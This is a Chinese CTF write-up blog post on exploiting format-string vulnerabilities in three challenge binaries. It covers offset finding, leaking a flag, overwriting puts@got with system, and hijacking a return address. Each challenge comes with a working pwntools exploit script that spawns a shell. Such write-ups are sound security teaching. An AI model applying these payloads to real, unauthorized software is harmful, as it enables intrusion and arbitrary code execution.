PWN格式化字符串2——例子

这一部分主要写三道PWN题,都还算是比较简单的,同样参考CTF-wiki里的writeup

1.pwn200 Goodluck

这道题是64位的格式化字符串漏洞,主要利用格式化字符串漏洞泄露内存中的数据就足够了。
64位的偏移计算和32位类似,都是算对应的参数。只不过64位函数的前6个参数是存储在相应的寄存器中的。那么在格式化字符串漏洞中呢?虽然我们并没有向相应寄存器中放入数据,但是程序依旧会按照格式化字符串的相应格式对其进行解析。
以UIUCTF中 pwn200 GoodLuck为例进行介绍。需要在本地设置一个flag.txt文件

确定保护

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

分析程序

IDA看一下程序,发现错误出在printf(format)这里

  for ( j = 0; j <= 21; ++j )
  {
    v4 = format[j];
    if ( !v4 || v10[j] != v4 )
    {
      puts("You answered:");
      printf(format);
      puts("\nBut that was totally wrong lol get rekt");
      fflush(_bss_start);
      return 0;
    }
  }

里边的format字符串是接收用户的输入,这样就提供了触发该漏洞的机会。

gdb调试

在printf处下断点,放开运行

what's the flag

123456
You answered:

Breakpoint 1, __printf (format=0x602cb0 "123456") at printf.c:28
28  printf.c: 没有那个文件或目录.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────[ REGISTERS ]─────────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0x7ffff7af2224 (write+20) ◂— cmp    rax, -0x1000 /* 'H=' */
 RDX  0x7ffff7dcf8c0 (_IO_stdfile_1_lock) ◂— 0x0
 RDI  0x602cb0 ◂— 0x363534333231 /* '123456' */
 RSI  0x602490 ◂— 'You answered:\ng\nit!}\n'
 R8   0x7ffff7fde500 ◂— 0x7ffff7fde500
 R9   0x0
 R10  0x3
 R11  0x7ffff7a46f70 (printf) ◂— sub    rsp, 0xd8
 R12  0x4006b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffdf70 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffde90 —▸ 0x400900 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffde48 —▸ 0x400890 (main+234) ◂— mov    edi, 0x4009b8
 RIP  0x7ffff7a46f70 (printf) ◂— sub    rsp, 0xd8
──────────────────────────────────────[ DISASM ]───────────────────────────────────────
 ► 0x7ffff7a46f70 <printf>        sub    rsp, 0xd8
   0x7ffff7a46f77 <printf+7>      test   al, al
   0x7ffff7a46f79 <printf+9>      mov    qword ptr [rsp + 0x28], rsi
   0x7ffff7a46f7e <printf+14>     mov    qword ptr [rsp + 0x30], rdx
   0x7ffff7a46f83 <printf+19>     mov    qword ptr [rsp + 0x38], rcx
   0x7ffff7a46f88 <printf+24>     mov    qword ptr [rsp + 0x40], r8
   0x7ffff7a46f8d <printf+29>     mov    qword ptr [rsp + 0x48], r9
   0x7ffff7a46f92 <printf+34>     je     printf+91 <printf+91>
    ↓
   0x7ffff7a46fcb <printf+91>     mov    rax, qword ptr fs:[0x28]
   0x7ffff7a46fd4 <printf+100>    mov    qword ptr [rsp + 0x18], rax
   0x7ffff7a46fd9 <printf+105>    xor    eax, eax
───────────────────────────────────────[ STACK ]───────────────────────────────────────
00:0000│ rsp  0x7fffffffde48 —▸ 0x400890 (main+234) ◂— mov    edi, 0x4009b8
01:0008│      0x7fffffffde50 ◂— 0x31000001
02:0010│      0x7fffffffde58 —▸ 0x602cb0 ◂— 0x363534333231 /* '123456' */
03:0018│      0x7fffffffde60 —▸ 0x602260 ◂— 0x0
04:0020│      0x7fffffffde68 —▸ 0x7fffffffde70 ◂— 0x6320757b67616c66 ('flag{u c')
05:0028│      0x7fffffffde70 ◂— 0x6320757b67616c66 ('flag{u c')
06:0030│      0x7fffffffde78 ◂— 0x20656b616d206e61 ('an make ')
07:0038│      0x7fffffffde80 ◂— 0xff0a7d217469
─────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────
 ► f 0     7ffff7a46f70 printf
   f 1           400890 main+234
   f 2     7ffff7a03bf7 __libc_start_main+231
───────────────────────────────────────────────────────────────────────────────────────

(1)可见flag对应的栈上的偏移为5,除去对应的第一行为返回地址外,其偏移为4。
(2)此外,由于这是一个64程序,所以前6个参数存放在对应的寄存器中,fmt字符串存储在RDI寄存器中,所以fmt字符串对应的地址的偏移为10。
(3)而fmt字符串中%order$s对应的order为fmt字符串后面的参数的顺序,所以我们只需要值入%9$s即可得到flag的内容

exp

from pwn import *
sh=process('./goodluck')
sh.sendline('%9$s')
print sh.recv()

2016 CCTF pwn3

原理

在目前的C程序中,libc中的函数都是通过GOT表来跳转的。此外,在没有开启RELRO保护的前提下。每个libc的函数对应的GOT表项是可以被修改的。
因此,我们可以修改某个libc函数的GOT表内容为另一个libc函数的地址来实现对程序的控制。
比如说我们可以修改printf的got表项内容为system函数的地址。从而,程序在执行printf的时候实际执行的是system函数。
假设我们将函数A的地址覆盖为函数B的地址,那么这一攻击技巧可以分为以下步骤
(1)确定函数A的GOT表项
这一步我们利用的函数A一般在程序中已有
(2)确定函数B的内存地址
这一步通常来说,需要我们子集想办法来泄露对应函数B的地址。
(3)将函数B的内存地址写入到函数A的GOT表地址处。
这一步一般来说需要我们利用函数的漏洞来进行触发,一般利用方法有如下两种
·写入函数:write函数
·ROP

pop eax; ret ;  #printf@got -->eax
pop ebx; ret;   #(addr_offset =system_addr - printf-addr) -->ebx
add [eax]  ebx ; ret;  #[printf@got]=[printf@got]+addr_offset
   ·格式化字符串任意地址写

查看保护

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

开启了NX保护,即数据不可执行

IDA分析

main函数

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  signed int v3; // eax
  int v4; // [esp+14h] [ebp-2Ch]
  int v5; // [esp+3Ch] [ebp-4h]

  setbuf(stdout, 0);
  ask_username((char *)&v4);
  ask_password((char *)&v4);
  while ( 1 )
  {
    while ( 1 )
    {
      print_prompt();
      v3 = get_command();
      v5 = v3;
      if ( v3 != 2 )
        break;
      put_file();
    }
    if ( v3 == 3 )
    {
      show_dir();
    }
    else
    {
      if ( v3 != 1 )
        exit(1);
      get_file();
    }
  }
}

简单运行一下pwn3,再看主函数,需要简单进行一下reverse
ask_username()函数接收第一次的输入,ask_password对输入进行验证,和"sysbdmin"进行比较

char *__cdecl ask_username(char *dest)
{
  char src[40]; // [esp+14h] [ebp-34h]
  int i; // [esp+3Ch] [ebp-Ch]

  puts("Connected to ftp.hacker.server");
  puts("220 Serv-U FTP Server v6.4 for WinSock ready...");
  printf("Name (ftp.hacker.server:Rainism):");
  __isoc99_scanf("%40s", src);
  for ( i = 0; i <= 39 && src[i]; ++i )
    ++src[i];
  return strcpy(dest, src);
}
int __cdecl ask_password(char *s1)
{
  if ( strcmp(s1, "sysbdmin") )
  {
    puts("who you are?");
    exit(1);
  }
  return puts("welcome!");
}

ask_username()中对输入字符串进行了简单的变化,先计算一下需要输入的字符串

str1='sysbdmin'
str2=''
for i in str1:
     new = chr (ord(i)-1)
     str2 + = new
print str2

计算出输入值为 'rxraclhm'
在主循环中有put_file(),show_dir(),get_file()三个函数
put_file()

file *put_file()
{
  file *v0; // ST1C_4
  file *result; // eax

  v0 = (file *)malloc(244u);
  printf("please enter the name of the file you want to upload:");
  get_input((int)v0, 40, 1);
  printf("then, enter the content:");
  get_input((int)v0->content, 200, 1);
  v0->previous = file_head;
  result = v0;
  file_head = (int)v0;
  return result;
}

看看put_file函数中,接收我们输入file的名字以及内容。
使用malloc分配244个字节,建立如下数据结构,多次的put将形成一条链表。

struct_FILE{
  char filename[40];
  char content[200];
  struct _FILE *previous;
};

get_file()

int get_file()
{
  char dest; // [esp+1Ch] [ebp-FCh]
  char s1; // [esp+E4h] [ebp-34h]
  char *i; // [esp+10Ch] [ebp-Ch]

  printf("enter the file name you want to get:");
  __isoc99_scanf("%40s", &s1);
  if ( !strncmp(&s1, "flag", 4u) )
    puts("too young, too simple");
  for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )
  {
    if ( !strcmp(i, &s1) )
    {
      strcpy(&dest, i + 0x28);
      return printf(&dest);  //格式化字符串漏洞
    }
  }
  return printf(&dest);   //格式化字符串漏洞
}

get_file()函数中存在格式化字符串函数。
要求先输入filename,然后遍历链表,匹配filename,找到则输出内容。找不到的话,是输出当前栈里的内容。
show_dir()

int show_dir()
{
  int v0; // eax
  char s[1024]; // [esp+14h] [ebp-414h]
  int i; // [esp+414h] [ebp-14h]
  int j; // [esp+418h] [ebp-10h]
  int v5; // [esp+41Ch] [ebp-Ch]

  v5 = 0;
  j = 0;
  bzero(s, 0x400u);
  for ( i = file_head; i; i = *(_DWORD *)(i + 240) )
  {
    for ( j = 0; *(_BYTE *)(i + j); ++j )
    {
      v0 = v5++;
      s[v0] = *(_BYTE *)(i + j);
    }
  }
  return puts(s);
}

遍历链表,将所有的filename串起来输出。
并且里边调用了puts()函数,因此可以修改puts@got表

计算偏移

利用之前的知识来计算偏移量,输入aaaa.bbbb.cccc.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
,则

pwndbg> c
Continuing.
aaaa.bbbb.cccc.0x804b598.0x4.0xf7de5f88.0xfbad2887.0x7d4.0xf7fb1220.0x61616161.0x6262622e.0x63632e62.0x252e6363.0x70252e70.0x2e70252e
pwndbg> stack 30
00:0000│ esp  0xffffcecc —▸ 0x80488a3 (get_file+173) ◂— leave  
01:0004│      0xffffced0 —▸ 0xffffceec ◂— 'aaaa.bbbb.cccc.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
02:0008│      0xffffced4 —▸ 0x804b598 ◂— 'aaaa.bbbb.cccc.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
03:000c│      0xffffced8 ◂— 0x4
04:0010│      0xffffcedc —▸ 0xf7de5f88 ◂— movsd  dword ptr es:[edi], dword ptr [esi]
05:0014│      0xffffcee0 ◂— 0xfbad2887
06:0018│      0xffffcee4 ◂— 0x7d4
07:001c│      0xffffcee8 —▸ 0xf7fb1220 (_IO_helper_jumps) ◂— 0x0
08:0020│ eax  0xffffceec ◂— 'aaaa.bbbb.cccc.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
09:0024│      0xffffcef0 ◂— '.bbbb.cccc.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
0a:0028│      0xffffcef4 ◂— 'b.cccc.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
0b:002c│      0xffffcef8 ◂— 'cc.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
0c:0030│      0xffffcefc ◂— 'p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
0d:0034│      0xffffcf00 ◂— '.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
0e:0038│      0xffffcf04 ◂— '%p.%p.%p.%p.%p.%p.%p.%p.%p'
0f:003c│      0xffffcf08 ◂— 'p.%p.%p.%p.%p.%p.%p.%p'
10:0040│      0xffffcf0c ◂— '.%p.%p.%p.%p.%p.%p'
11:0044│      0xffffcf10 ◂— '%p.%p.%p.%p.%p'
12:0048│ edx  0xffffcf14 ◂— 'p.%p.%p.%p'
13:004c│      0xffffcf18 ◂— '.%p.%p'
14:0050│      0xffffcf1c ◂— 0x7025 /* '%p' */
15:0054│      0xffffcf20 ◂— 0x0
16:0058│      0xffffcf24 —▸ 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
17:005c│      0xffffcf28 —▸ 0xf7fb1220 (_IO_helper_jumps) ◂— 0x0
18:0060│      0xffffcf2c —▸ 0xf7fb19f4 ◂— 0x0
19:0064│      0xffffcf30 ◂— 0x3c /* '<' */
1a:0068│      0xffffcf34 ◂— 0x0
1b:006c│      0xffffcf38 —▸ 0xf7e4d119 (__GI__IO_file_xsgetn+9) ◂— add    eax, 0x165ee7
1c:0070│      0xffffcf3c ◂— 0x1
1d:0074│      0xffffcf40 —▸ 0xf7fb35c0 (_IO_2_1_stdin_) ◂— 0xfbad2288

有两种判断偏移的办法
(1)看%p输出的结果里,偏移为7
(2)从栈中看0xffffced4到0xffffceec的偏移为7

思路

(1)首先读取puts@got的内容,得到puts函数的地址,然后通过libc中偏移量固定的方式计算出system的地址。
(2)将system地址写到puts@got里,替换puts函数
(3)让程序执行pus('/bin/sh'),那么实际执行的是system('/bin/sh')

EXP

from pwn import *
import sys
###context.log_level='debug'

###首先定义用于put file和get file的函数
def put_file(name,text):
    sh.recvuntil('>')
    sh.sendline('put')
    sh.recvuntil('upload:')
    sh.sendline(name)
    sh.recvuntil('content:')
    sh.sendline(text)
    
def get_file(name):
    sh.recvuntil('>')
    sh.sendline('get')
    sh.recvuntil('to get:')
    sh.sendline(name)
    
sh=process('./pwn3')
elf=ELF('./pwn3')
libc=ELF('libc6_2.27-3ubuntu1.4_i386.so')

###发送密码
sh.recvuntil('Name (ftp.hacker.server:Rainism):')
sh.sendline('rxraclhm')

###泄露puts的地址
puts_got=elf.got['puts']
log.success('puts got: '+hex(puts_got))
put_file('/sh',p32(puts_got)+'%7$s')
get_file('/sh')
recv=sh.recv()
puts_addr=u32(recv[4:8])

###得到system的地址
system_addr=puts_addr-(libc.symbols['puts']-libc.symbols['system'])
log.success('system addr :'+hex(system_addr))

###修改puts_got,让其指向system_addr
payload=fmtstr_payload(7,{puts_got:system_addr})
put_file('/bin',payload)
get_file('/bin')

###调用put,从而调用system
sh.recvuntil('ftp>')
sh.sendline('dir')
sh.interactive()

再说两句
这道题踩了几个坑,首先是用题目自带的libc,怎么做也做不出来。后来用LibcSearcher,也匹配不到,到后来还是去libc database search搜索到的对应libc版本。
嗯,得到了puts的地址之后,慢慢做,会出来的。
fmtstr_payload()
fmtstr_payload()是pwntools里面的一个工具,用来简化对格式化字符串漏洞的构造工作。
可以实现修改任意内存
fmtstr_payload(offset,{printf_got:system_addr}) (偏移,{源地址:目的地址})
mtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:
systemAddress};本题是将0804a048处改为0x2223322
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload

三个白帽-pwnm3_k0

hijack retaddr
利用格式化字符串漏洞来劫持程序的返回地址到我们想要执行的地址。

确定保护

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

开启了数据不可执行(NX),并且有RELRO,所有不能修改GOT表

IDA分析

首先是一个让我们输入username和 password的函数

__int64 __fastcall sub_400903(__int64 buf, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 bufa, __int64 a8, __int64 a9, __int64 a10, __int64 a11)
{
  unsigned __int8 v12; // [rsp+1Fh] [rbp-1h]

  puts("Register Account first!");
  puts("Input your username(max lenth:20): ");
  fflush(stdout);
  v12 = read(0, &bufa, 0x14uLL);
  if ( v12 && v12 <= 0x14u )
  {
    puts("Input your password(max lenth:20): ");
    fflush(stdout);
    read(0, (char *)&a9 + 4, 0x14uLL);
    fflush(stdout);
    *(_QWORD *)buf = bufa;
    *(_QWORD *)(buf + 8) = a8;
    *(_QWORD *)(buf + 16) = a9;
    *(_QWORD *)(buf + 24) = a10;
    *(_QWORD *)(buf + 32) = a11;
  }
  else
  {
    LOBYTE(bufa) = 48;
    puts("error lenth(username)!try again");
    fflush(stdout);
    *(_QWORD *)buf = bufa;
    *(_QWORD *)(buf + 8) = a8;
    *(_QWORD *)(buf + 16) = a9;
    *(_QWORD *)(buf + 24) = a10;
    *(_QWORD *)(buf + 32) = a11;
  }
  return buf;
}

需要注意的是里边读取密码的部分,
read(0,(char *)&a9+4,0x14uLL);
漏洞出现在下边的函数中,其输出内容为&a4+4。

int __fastcall sub_400B07(char format, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, char formata, __int64 a8, __int64 a9)
{
  write(0, "Welc0me to sangebaimao!\n", 0x1AuLL);
  printf(&formata, "Welc0me to sangebaimao!\n");
  return printf((const char *)&a9 + 4);
}

第二个printf输出的内容正&a9+4好是之前read写入password的内容。
并且在IDA中分析可以得知&a9+4-&bufa=14h=20
system('/bin/sh')
发现strings里面有/bin/sh,在0x4008A6地址处有一个直接调用system('/bin/sh')的函数。

.text:00000000004008A6 sub_4008A6      proc near
.text:00000000004008A6 ; __unwind {
.text:00000000004008A6                 push    rbp
.text:00000000004008A7                 mov     rbp, rsp
.text:00000000004008AA                 mov     edi, offset command ; "/bin/sh"
.text:00000000004008AF                 call    system
.text:00000000004008B4                 pop     rdi
.text:00000000004008B5                 pop     rsi
.text:00000000004008B6                 pop     rdx
.text:00000000004008B7                 retn
.text:00000000004008B7 sub_4008A6      endp ; sp-analysis failed

思路

如果修改某个函数的返回地址为0x4008A6,那就相当于获得了shell。
虽然存储返回地址的内存本身是动态变化的,但是其相对于rbp的地址并不会改变,所以我们可以使用相对地址来计算。利用思路如下:
(1)确定偏移
(2)获取函数的RBP与返回地址
(3)根据相对偏移获取存储返回地址的地址
(4)将执行system函数调用的地址写入到存储返回地址的地址。

确定偏移

在printf处下断点,输入aaaaaaaa为用户名,
密码输入为 %p%p%p%p%p%p%p%p%p%p

00:0000│ rsp   0x7fffffffdd98 —▸ 0x400b2d ◂— lea    rax, [rbp + 0x24]
01:0008│ rbp   0x7fffffffdda0 —▸ 0x7fffffffdde0 —▸ 0x7fffffffde90 —▸ 0x400eb0 ◂— push   r15
02:0010│       0x7fffffffdda8 —▸ 0x400d74 ◂— add    rsp, 0x30
03:0018│ rdi   0x7fffffffddb0 ◂— 'aaaaaaaa\n'
04:0020│       0x7fffffffddb8 ◂— 0xa /* '\n' */
05:0028│       0x7fffffffddc0 ◂— 0x7025702500000000

可以看到用户名在栈上第三个位置,除去本身格式化字符串的位置,其偏移为5+3=8。
并且栈上第二个位置存储的就是该函数的返回地址(其实也就是调用show account函数时执行push rip所存储的值),在格式化字符串中的偏移为7。
与此同时栈上,第一个元素存储的也就是上一个函数的rbp。所以我们可以得到偏移0x7fffffffdde0- 0x7fffffffdda8=0x38。继而如果我们知道了rbp的数值,就知道了函数返回地址的地址。
0x400d74与0x4008A6只有低2字节不同,所以我们可以只修改0x7fffffffdda8开始的2个字节,因此可以利用$hn只对后三位修改即可,0x8A6对应的10进制数字为2214,但是这里需要修改为2214+4=2218

EXP

from pwn import *
context.log_level="debug"
context.arch="amd64"

sh=process("./pwnme_k0")
binary=ELF("pwnme_k0")
#gdb.attach(sh)

sh.recv()
sh.writeline("1"*8)
sh.recv()
sh.writeline("%6$p")
sh.recv()
sh.writeline("1")
sh.recvuntil("0x")
ret_addr = int(sh.recvline().strip(),16) - 0x38
success("ret_addr:"+hex(ret_addr))


sh.recv()
sh.writeline("2")
sh.recv()
sh.sendline(p64(ret_addr))
sh.recv()
#sh.writeline("%2214d%8$hn")
#0x4008aa-0x4008a6
sh.writeline("%2218d%8$hn")

sh.recv()
sh.writeline("1")
sh.recv()
sh.interactive()
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 0x00 前言 主要参考《CTF权威指南(pwn篇)》和CTF-wiki写了一些格式化字符串漏洞的基本原理,后续会...
    杰森任阅读 2,173评论 0 1
  • 简介 : 很明显的格式化字符串漏洞 检查一下可执行程序的保护类型 程序没有开启 PIE 保护 , 那么也就是说程序...
    王一航阅读 7,219评论 14 22
  • 格式化字符串漏洞网上讲的也很多,这里就不对漏洞进行解释了,直接讲怎么做题,以湖湘杯的pwn200为例子: 拿到题目...
    2mpossible阅读 978评论 0 1
  • 2017湖湘杯pwn200,还是比较经典的格式化字符串例题 先查看一下保护机制: 32位开启了canary和堆栈不...
    Hexad阅读 496评论 0 0
  • 16宿命:用概率思维提高你的胜算 以前的我是风险厌恶者,不喜欢去冒险,但是人生放弃了冒险,也就放弃了无数的可能。 ...
    yichen大刀阅读 6,122评论 0 4